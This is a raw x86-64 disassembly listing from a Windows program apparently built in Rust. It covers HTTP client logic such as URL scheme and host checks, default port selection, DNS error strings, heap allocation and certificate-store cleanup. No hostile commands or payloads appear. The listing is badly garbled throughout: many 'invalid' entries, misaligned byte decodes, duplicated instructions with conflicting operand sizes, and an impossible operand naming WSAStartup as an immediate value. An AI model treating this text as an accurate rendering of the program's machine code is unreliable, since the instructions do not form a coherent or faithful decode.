add al, byte [rax]
add byte [rdx], al
invalid
add cl, byte [rdi]
je 0x1401190c5
test byte [rbx + 0x48000000], ah
mov eax, dword [rbp - 8]
add byte [rax], al
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x208]
call fcn.140108d10
jmp 0x1401190c5
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1401190de
mov r8, qword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
pop rdi
invalid
invalid
pop rdi
invalid
mov rax, qword [rbp - 8]
cmp qword [rax], 0
je 0x140119082
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
invalid
invalid
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov rcx, qword [rax + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
invalid
invalid
adc byte [rcx], sil
sar bh, cl
adc eax, 0x763ee
invalid
invalid
invalid
jmp 0x14011910a
jbe 0x140119018
cmp dword [rcx + 0x208], 2
je 0x1401190ad
mov ecx, 0x208
add dh, byte [rax + rdx + 0x48]
mov eax, dword [rbp - 8]
mov rax, qword [rbp - 8]
lea rcx, [rax + 0x208]
or byte [rdx], al
add byte [rax], al
invalid
add al, ch
movabs dword [0x83f8458b48ffff00], eax
mov eax, 0xd0
add byte [rax], al
add byte [rdx], al
je 0x1401190c5
invalid
call fcn.140109150
mov rax, qword [rbp - 8]
cmp dword [rax + 0xd0], 2
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
je 0x1401190c5
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
mov byte [rax + 0x201], 0
add byte [rcx], 2
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rbp - 8]
mov rax, qword [rbp - 8]
clc
mov byte [rax + 0x201], 0
jmp 0x1401190de
invalid
add bl, ch
or al, 0x48
add ecx, 0x90
add byte [rax], al
invalid
add rcx, 0x90
add byte [rax], al
add al, ch
xor bh, ah
call fcn.140108d10
invalid
mov rax, qword [rbp - 8]
clc
mov byte [rax + 0x4a], 0
cmp qword [rax], 0
je 0x1401190fa
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rbp - 8]
cmp qword [rax + 0x38], 0
je 0x14011912f
mov r8, qword [rax + 0x30]
mov eax, dword [rax + 0x30]
mov rcx, qword [0x14023c258]
xor edx, edx
add rsp, 0x48
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x48
pop rsi
pop rbp
ret
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
mov edx, dword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.140005270
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.1400688c0
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rsi
pop rbp
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x40
sub byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
invalid
invalid
call fcn.140005270
int3
shr dh, 0xff
nop
add rsp, 0x28
pop rsi
pop rbp
ret
adc byte [rax - 0x75], cl
invalid
int3
add byte [rax], al
nop
add rsp, 0x28
pop rsi
pop rbp
ret
hlt
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
push 0x40
invalid
in al, dx
sub byte [rax - 0x73], cl
push 0x40
mov rsi, qword [rbp - 8]
mov byte [rsi + 0x4a], 0
mov rcx, rsi
call fcn.1400688c0
add rsi, 0x30
mov rcx, rsi
call fcn.140019ef0
invalid
call qword [rax + 0x28c48348]
invalid
sub byte [rsi + 0x5d], bl
ret
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rcx, qword [rbp - 8]
add rcx, 0x30
call fcn.140019ef0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 8]
mov byte [rax + 0x201], 0
add rsp, 0x28
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
adc byte [rbp + 0x56], dl
sub rsp, 0x28
lea rbp, [rdx + 0x40]
push 0x40
push 0x40
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x10]
call fcn.1401229d0
nop
add rsp, 0x28
pop rsi
pop rbp
ret
int3
push r12
push rsi
push rdi
push rbx
sub rsp, 0xfc8
sub esp, 0xfc8
sub esp, 0xfc8
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xf30], xmm6
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1401192b4
xor byte [rdi], cl
add byte [rax], al
mov qword [rbp + 0xf28], 0xfffffffffffffffe
mov r15, r8
mov r12, rcx
movzx eax, byte [rdx + 0xeb0]
lea rcx, [0x1401ef778]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0xf20], rdx
jmp rax
add byte [rax], al
invalid
lea rdi, [rdx + 0x58]
lea r13, [rdx + 0x70]
mov rax, qword [rdx + 0x50]
mov qword [rdx + 0xc0], rax
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rdx + 0xb0], xmm0
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x30]
movups xmmword [rdx + 0xa0], xmm3
adc dword [rdx + 0xa0], ebx
adc dword [rdx + 0xa0], ebx
movups xmmword [rdx + 0x90], xmm2
movups xmmword [rdx + 0x80], xmm1
add byte [rax], al
add byte [rdi], cl
adc dword [rdx + 0x70], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rdx + 0x70], eax
mov qword [rdx + 0xc8], rdi
lea rsi, [rdx + 0x132]
mov byte [rdx + 0x132], 0
jmp 0x1401193b8
lea rsi, [rdx + 0x132]
lea r13, [rdx + 0x70]
movzx eax, byte [rdx + 0x132]
mov dh, 0x82
xor al, byte [rcx]
add byte [rax], al
mov dh, 0x82
xor al, byte [rcx]
add byte [rax], al
lea rcx, [0x1401ef788]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
or eax, 0x4634800
or dword [rax + 1], 0x48e0ffc8
mov edi, dword [rdx + 0xc8]
mov rdi, qword [rdx + 0xc8]
mov word [rdx + 0x133], 0
movups xmm0, xmmword [r13]
add dword [rax], eax
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rbp], al
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm2, xmmword [rbp + 0x20]
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rdx + 0xd0], xmm0
movups xmmword [rdx + 0xe0], xmm1
movups xmmword [rdx + 0xf0], xmm2
movups xmmword [rdx + 0x100], xmm3
movdqu xmm0, xmmword [r13 + 0x40]
movdqu xmmword [rdx + 0x110], xmm0
mov rax, qword [r13 + 0x50]
mov qword [rdx + 0x120], rax
mov qword [rdx + 0x128], rdi
mov rax, qword [rdi]
cmp byte [rax + 0x60], 0
movzx eax, byte [rdx + 0xd0]
je 0x140119469
test al, al
je 0x14011954c
and eax, dword [rcx]
add byte [rax], al
and eax, dword [rcx]
add byte [rax], al
movzx eax, al
cmp eax, 1
je 0x14011953c
cmp eax, 2
je 0x14011954c
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
invalid
stosd dword [rdi], eax
or al, byte [rax]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcuri_scheme.rs
invalid
mov edx, 0x28
call fcn.140186b70
jmp 0x14011b6c3
test al, al
jne 0x1401195b3
invalid
add byte [rdi], cl
mov dh, 5
nop
adc al, byte cs:[rax]
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
test ecx, ecx
test ecx, ecx
jne 0x14011949d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b39e
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x1e
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b39e
mov r14, r13
mov r13, r12
mov r12d, 0x1e
movups xmm0, xmmword [0x1401a82bd]
movups xmmword [rax + 0xe], xmm0
adc dword [rax + 0xe], eax
adc dword [rax + 0xe], eax
movdqu xmm0, xmmword [0x1401a82af]
jmp 0x1401196a5
lea r14, [rdx + 0x179]
lea esi, [rdx + 0x179]
movzx eax, byte [rdx + 0x179]
lea r8, [rdx + 0x158]
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xd62a8
pop rax
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0xd62a8
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rbp + 0xed8], r15
mov rdi, qword [rdx + 0x170]
add byte [rax - 0x75], cl
mov edx, 0x170
mov rbx, qword [rdx + 0x158]
mov r15, qword [rdx + 0x160]
jmp 0x140119b47
pop rax
add dword [rax], eax
add byte [rbx + rcx*4 - 0x46], cl
invalid
lea rdi, [rdx + 0x138]
movzx eax, byte [rdx + 0xb28]
add byte [rdi], cl
mov dh, 0x82
sub byte [rbx], cl
add byte [rax], al
lea rcx, [0x1401ef7b0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0xf20]
cmp byte [rax + 0xd1], 0
je 0x1401195b3
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140119578
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b2de
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x1f
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b2de
mov r14, r13
mov r13, r12
mov r12d, 0x1f
movups xmm0, xmmword [0x1401a829f]
movups xmmword [rax + 0xf], xmm0
movdqu xmm0, xmmword [str.invalid_URL__scheme_is_not_httpinvalid_URL__scheme_is_missinginvalid_URL__host_is_missingConnectError]
jmp 0x1401196a5
mov rax, qword [rbp + 0xf20]
sldt word [rax]
mov rdx, qword [rax + 0xf0]
test rdx, rdx
je 0x140119643
mov rax, qword [rbp + 0xf20]
mov rcx, qword [rax + 0xe8]
mov qword [rbp + 0xea0], rsi
invalid
add byte [rax], al
mov qword [rbp + 0xe98], r13
call fcn.14003b430
mov r14, rax
test rax, rax
je 0x140119643
invalid
mov rbx, rdx
mov rax, qword [rbp + 0xf20]
mov r8, qword [rax + 0xf0]
test r8, r8
mov qword [rbp + 0xea8], r12
je 0x14011978c
mov rdx, qword [rax + 0xe8]
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
lea rcx, [rbp - 0x50]
call fcn.14003ade0
cmp qword [rbp - 0x50], 0
je 0x140119794
movzx r12d, word [rbp - 0x40]
jmp 0x140119800
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14011966f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b334
mov rcx, rax
mov qword [0x14023c258], rax
invalid
sub edx, dword [rdx]
invalid
jmp 0x18111a89b
mov r8d, 0x1c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b334
mov r14, r13
mov r13, r12
mov r12d, 0x1c
movups xmm0, xmmword [0x1401a82d9]
movups xmmword [rax + 0xc], xmm0
movdqu xmm0, xmmword [0x1401a82cd]
mov qword [rbp + 0xef0], rax
movdqu xmmword [rax], xmm0
xor r15d, r15d
xor ebx, ebx
mov rax, qword [rbp + 0xf20]
lea rcx, [rax + 0xd0]
mov qword [rbp + 0xdd8], rsi
mov qword [rbp + 0xdd0], r14
call fcn.14006d7b0
mov byte [rsi], 1
mov edi, 2
mov rcx, r14
call fcn.14011e750
mov rsi, qword [rbp + 0xf20]
mov rax, qword [rsi + 0x58]
lock dec qword [rax]
jne 0x140119700
mov rcx, qword [rsi + 0x58]
call fcn.14014b970
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
jne 0x14011971e
mov rax, qword [rbp + 0xf20]
mov rcx, qword [rax + 0x60]
mov rdx, qword [rax + 0x68]
call fcn.14006cb50
mov qword [r13], rdi
mov dword [rbp], edi
mov rax, qword [rbp + 0xef0]
mov qword [r13 + 8], rax
mov qword [r13 + 0x10], r12
adc byte gs:[rbp - 0x77], cl
in al, dx
adc byte gs:[rbp - 0x77], cl
in al, dx
mov qword [r13 + 0x18], r15
mov qword [r13 + 0x20], rbx
mov al, 1
jmp 0x14011b009
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rcx + rcx*4 - 0x43], cl
fmul dword [rsi]
add byte [rax], al
mov qword [rbp + 0xed8], r15
mov rdi, qword [rdx + 0x168]
mov rbx, qword [rdx + 0x180]
mov r15, qword [rdx + 0x188]
jmp 0x140119b71
add byte [rax - 0x75], cl
invalid
mov qword [rbp + 0xef0], r8
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
mov r8, qword [rdx + 0x180]
mov rax, qword [rdx + 0x188]
jmp 0x140119beb
mov qword [rbp - 0x50], 0
mov rax, qword [rbp + 0xf20]
add rax, 0xd0
movzx eax, byte [rax]
mov r12w, 0x50
test rax, rax
je 0x140119800
cmp eax, 1
je 0x1401197e3
cmp eax, 2
je 0x140119800
mov qword [rbp + 0xea0], rsi
mov qword [rbp + 0xe98], r13
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcuri_scheme.rs
mov edx, 0x28
call fcn.140186b70
jmp 0x14011b6c3
mov rax, qword [rbp + 0xf20]
cmp byte [rax + 0xd1], 0
mov eax, 0x50
mov r12d, 0x1bb
cmove r12d, eax
mov rax, qword [rbp + 0xf20]
mov word [rax + 0x130], r12w
xor ecx, ecx
jmp 0x14011982f
inc rcx
sub rcx, r14
cmp edx, 0x5b
jne 0x1401198c5
cmp rcx, rbx
je 0x1401198c2
mov rax, rcx
add rcx, r14
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x140119820
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x14011989c
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1401198af
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1401198c2
add rcx, 4
jmp 0x140119823
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x140119823
add rcx, 3
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
jmp 0x140119823
mov rax, rbx
mov qword [rbp + 0xed8], r15
add r14, rax
sub rbx, rax
mov qword [rbp + 0xf10], rsi
jmp 0x1401198ee
dec rbx
movzx eax, al
sub rbx, r14
cmp eax, 0x5d
jne 0x140119968
test rbx, rbx
je 0x140119955
mov r15, rbx
add rbx, r14
movzx eax, byte [rbx - 1]
test al, al
jns 0x1401198e0
movzx ecx, byte [rbx - 2]
cmp cl, 0xc0
jge 0x14011992c
movzx edx, byte [rbx - 3]
cmp dl, 0xc0
jge 0x140119935
movzx r8d, byte [rbx - 4]
add rbx, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x14011993c
add rbx, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x140119944
add rbx, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
or eax, ecx
cmp eax, 0x110000
jne 0x1401198e6
mov rax, qword [rbp + 0xf20]
lea rsi, [rax + 0x138]
xor r15d, r15d
jmp 0x140119980
mov rax, qword [rbp + 0xf20]
lea rsi, [rax + 0x138]
cmp r15, 0xf
ja 0x140119a1a
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r15
lea rcx, [rbp - 0x50]
call fcn.140015b00
cmp qword [rbp - 0x48], 0
sete cl
mov edx, eax
and dl, cl
and rax, 0xffffffffffffff00
test dl, dl
mov ebx, 0x100
cmovne rbx, rax
cmp dl, 1
jne 0x140119a1a
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x1401199df
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b4b9
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b4b9
mov rcx, rbx
shr rcx, 8
and ecx, 0xffffff00
movzx edx, bh
or edx, ecx
mov word [rax], 0
mov dword [rax + 2], edx
mov word [rax + 6], r12w
jmp 0x14011a10f
mov qword [rbp + 0x8d0], r14
mov qword [rbp + 0x8d8], r15
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0xe38], rax
mov qword [rbp + 0xe30], r13
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 0x8d0]
call fcn.140016060
cmp qword [rbp + 0x8d8], 0
jne 0x140119a61
test byte [rbp - 0x50], 1
jne 0x14011a087
mov qword [rsi], 0
mov rdx, qword [rbp + 0xf20]
mov byte [rdx + 0x133], 1
cmp qword [rdx + 0x138], 0
mov r12, qword [rbp + 0xea8]
jne 0x14011a159
test r15, r15
je 0x140119af8
mov rsi, qword [rbp + 0xf10]
js 0x14011b53b
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140119ac5
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140119ad8
mov rcx, rax
mov qword [0x14023c258], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
jne 0x140119b04
mov qword [rbp + 0xec0], rsi
mov qword [rbp + 0xeb8], r13
mov ecx, 1
mov rdx, r15
call fcn.140186620
jmp 0x14011b6c3
mov ebx, 1
mov rsi, qword [rbp + 0xf10]
add rdi, 8
mov rcx, rbx
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xf20]
lea r8, [rdx + 0x158]
mov qword [rdx + 0x158], rbx
mov qword [rdx + 0x160], r15
mov qword [rdx + 0x170], rdi
lea r14, [rdx + 0x179]
mov byte [rdx + 0x179], 0
lea rax, [rdx + 0x168]
mov qword [rdx + 0x168], rdi
mov byte [rdx + 0x178], 1
mov qword [rdx + 0x180], rbx
mov qword [rdx + 0x188], r15
mov qword [rdx + 0x190], rax
mov byte [rdx + 0x178], 0
mov rax, qword [rdi]
mov rcx, qword [rdi + 8]
mov rdx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x18]
dec rdx
and rdx, 0xfffffffffffffff0
lea rcx, [rdx + rax]
add rcx, 0x10
mov qword [rbp + 0xe28], rsi
mov qword [rbp + 0xe20], r13
mov qword [rbp + 0xef0], r8
mov qword [rbp + 0xe18], r8
mov rdx, rbx
mov r8, r15
call r9
mov r8, rax
mov rax, rdx
mov qword [rbp + 0xf10], rsi
mov qword [rbp + 0xf00], r13
mov rcx, qword [rbp + 0xf20]
mov qword [rcx + 0x180], r8
mov qword [rcx + 0x188], rdx
mov r15, qword [rbp + 0xed8]
lea rcx, [rbp - 0x50]
mov rdx, r8
mov r8, r15
call qword [rax + 0x18]
mov rsi, qword [rbp - 0x50]
cmp rsi, 2
jne 0x140119c14
mov byte [r14], 4
mov al, 3
mov rdx, qword [rbp + 0xf10]
jmp 0x14011affd
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0xf08], rax
mov rbx, qword [rbp - 0x40]
mov rax, qword [rbp + 0xf20]
mov rcx, qword [rax + 0x180]
mov rax, qword [rax + 0x188]
mov qword [rbp + 0xed8], rcx
mov qword [rbp + 0xed0], rax
call qword [rax]
mov rax, qword [rbp + 0xed0]
cmp qword [rax + 8], 0
mov r14, qword [rbp + 0xf00]
je 0x140119c87
cmp qword [rax + 0x10], 0x11
jae 0x140119c6d
mov r8, qword [rbp + 0xed8]
jmp 0x140119c78
mov r8, qword [rbp + 0xed8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0xf20]
mov word [rax + 0x178], 0x100
mov rax, qword [rbp + 0xf10]
mov qword [rbp + 0xec0], rax
mov qword [rbp + 0xeb8], r14
mov rcx, qword [rbp + 0xef0]
call fcn.14011c790
test rsi, rsi
je 0x140119d7a
mov r15, qword [rbp + 0xf08]
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], rbx
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x140119cfc
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b3c0
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b3c0
mov r13, r12
movabs rcx, 0x6f72726520736e64
mov qword [rax], rcx
mov qword [rbp + 0xef0], rax
mov byte [rax + 8], WSAStartup
mov rsi, qword [rbp + 0xf20]
mov r8, qword [rsi + 0x138]
test r8, r8
je 0x140119d5a
cmp qword [rsi + 0x140], 0
je 0x140119d5a
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rsi + 0x133], 0
mov r12d, 9
mov byte [rsi + 0x134], 0
mov rsi, qword [rbp + 0xf10]
jmp 0x1401196b5
mov qword [rbp + 0xed8], r15
mov qword [rbp + 0xea8], r12
mov qword [rbp + 0xee0], rbx
mov rax, qword [rbx + 0x18]
mov byte [rbp + 0xf1f], 1
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xf08]
mov qword [rbp + 0xed0], rax
call rax
movzx r15d, word [rbp - 0x50]
cmp r15w, 2
jne 0x140119e07
mov rcx, qword [rbp + 0xf08]
mov rax, qword [rbp + 0xee0]
call qword [rax]
mov r14d, 4
mov rax, qword [rbp + 0xee0]
cmp qword [rax + 8], 0
je 0x14011a17f
cmp qword [rax + 0x10], 0x11
jae 0x14011a193
mov r13, qword [rbp + 0xf00]
mov r12, qword [rbp + 0xea8]
mov r8, qword [rbp + 0xf08]
jmp 0x14011a1ac
mov esi, dword [rbp - 0x4e]
movzx edi, word [rbp - 0x4a]
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0xd30], eax
movdqu xmm0, xmmword [rbp - 0x48]
movdqa xmmword [rbp + 0xd20], xmm0
mov rax, qword [rbp + 0xf20]
movzx r13d, word [rax + 0x130]
test r15w, r15w
mov rax, qword [rbp + 0xee0]
jne 0x140119e48
mov edi, r13d
movzx r13d, word [rbp - 0x34]
mov r12w, word [rbp - 0x32]
mov rax, qword [rax + 0x20]
mov byte [rbp + 0xf1f], 1
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xf08]
mov qword [rbp + 0xec8], rax
call rax
mov word [rbp + 0xef0], di
mov rax, qword [rbp - 0x50]
inc rax
mov rdi, 0xffffffffffffffff
cmovne rdi, rax
cmp rdi, 5
mov ebx, 4
cmovb rdi, rbx
mov rax, rdi
shr rax, 0x3a
jne 0x14011b553
mov r14, rdi
shl r14, 5
je 0x140119ec8
movzx eax, byte [0x14023c308]
mov edx, 4
mov rcx, r14
call fcn.140010630
mov rbx, rax
test rax, rax
je 0x14011b5f4
mov word [rbx], r15w
mov dword [rbx + 2], esi
movzx eax, word [rbp + 0xef0]
mov word [rbx + 6], ax
movdqa xmm0, xmmword [rbp + 0xd20]
movdqu xmmword [rbx + 8], xmm0
mov eax, dword [rbp + 0xd30]
mov dword [rbx + 0x18], eax
mov word [rbx + 0x1c], r13w
mov word [rbx + 0x1e], r12w
mov qword [rbp + 0x8d0], rbx
mov qword [rbp + 0x8d8], rdi
mov qword [rbp + 0x8e0], 1
mov eax, 1
mov qword [rbp + 0xef0], rax
mov r12d, 0x20
jmp 0x140119f89
mov rbx, qword [rbp + 0x8d0]
mov word [rbx + r12], si
mov dword [rbx + r12 + 2], edi
mov word [rbx + r12 + 6], r15w
movdqa xmm0, xmmword [rbp + 0xd20]
movdqu xmmword [rbx + r12 + 8], xmm0
mov eax, dword [rbp + 0xd30]
mov dword [rbx + r12 + 0x18], eax
mov word [rbx + r12 + 0x1c], r14w
mov word [rbx + r12 + 0x1e], r13w
mov rax, qword [rbp + 0xef0]
inc rax
mov qword [rbp + 0xef0], rax
mov qword [rbp + 0x8e0], rax
add r12, 0x20
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xf08]
call qword [rbp + 0xed0]
movzx esi, word [rbp - 0x50]
cmp si, 2
je 0x14011a039
mov edi, dword [rbp - 0x4e]
movzx r15d, word [rbp - 0x4a]
lea rcx, [rbp - 0x48]
mov eax, dword [rcx + 0x10]
mov dword [rbp + 0xd30], eax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rbp + 0xd20], xmm0
mov rax, qword [rbp + 0xf20]
movzx r14d, word [rax + 0x130]
test si, si
jne 0x140119fe5
mov r15d, r14d
movzx r14d, word [rbp - 0x34]
movzx r13d, word [rbp - 0x32]
mov rax, qword [rbp + 0xef0]
cmp rax, qword [rbp + 0x8d8]
jne 0x140119f37
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp + 0xf08]
call qword [rbp + 0xec8]
mov r8, qword [rbp - 0x50]
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
lea rcx, [rbp + 0x8d0]
mov rdx, qword [rbp + 0xef0]
call fcn.14018c640
jmp 0x140119f30
mov rcx, qword [rbp + 0xf08]
mov rax, qword [rbp + 0xee0]
call qword [rax]
mov rax, qword [rbp + 0xee0]
cmp qword [rax + 8], 0
mov r13, qword [rbp + 0xf00]
mov r12, qword [rbp + 0xea8]
mov rdi, qword [rbp + 0xef0]
mov edi, dword [rbp + 0xef0]
je 0x14011a1e2
cmp qword [rax + 0x10], 0x11
jae 0x14011a1c1
mov r8, qword [rbp + 0xf08]
jmp 0x14011a1cc
movzx ebx, byte [rbp - 0x4f]
mov rax, qword [rbp - 0x4e]
mov qword [rbp + 0xd20], rax
mov rax, qword [rbp - 0x47]
mov qword [rbp + 0xd27], rax
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14011a0cd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14011b5cb
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14011b5cb
mov word [rax], 1
mov byte [rax + 4], bl
mov rcx, qword [rbp + 0xd20]
mov rdx, qword [rbp + 0xd27]
mov qword [rax + 5], rcx
mov qword [rax + 0xc], rdx
mov qword [rax + 0x14], 0
mov word [rax + 0x1c], r12w
mov rcx, rax
add rcx, 0x20
mov rdx, qword [rbp + 0xf20]
mov qword [rdx + 0x138], rax
add byte [rax - 0x39], cl
invalid
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
add qword [rax], rax
add byte [rax - 0x77], cl
mov dl, byte [rax + 1]
add byte [rax], al
mov byte [rdx + 0x133], 1
cmp qword [rdx + 0x138], 0
mov r12, qword [rbp + 0xea8]
je 0x140119a8b
mov byte [rdx + 0x133], 0
mov r11, qword [rdx + 0x138]
add byte [rax], al
mov rbx, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov rdi, qword [rsi + 0x18]
mov byte [rdx + 0x134], 1
jmp 0x14011a249
xor ebx, ebx
xor edi, edi
mov r13, qword [rbp + 0xf00]
mov r12, qword [rbp + 0xea8]
jmp 0x14011a1f0
mov r8, qword [rbp + 0xf08]
mov r8, qword [r8 - 8]
mov r13, qword [rbp + 0xf00]
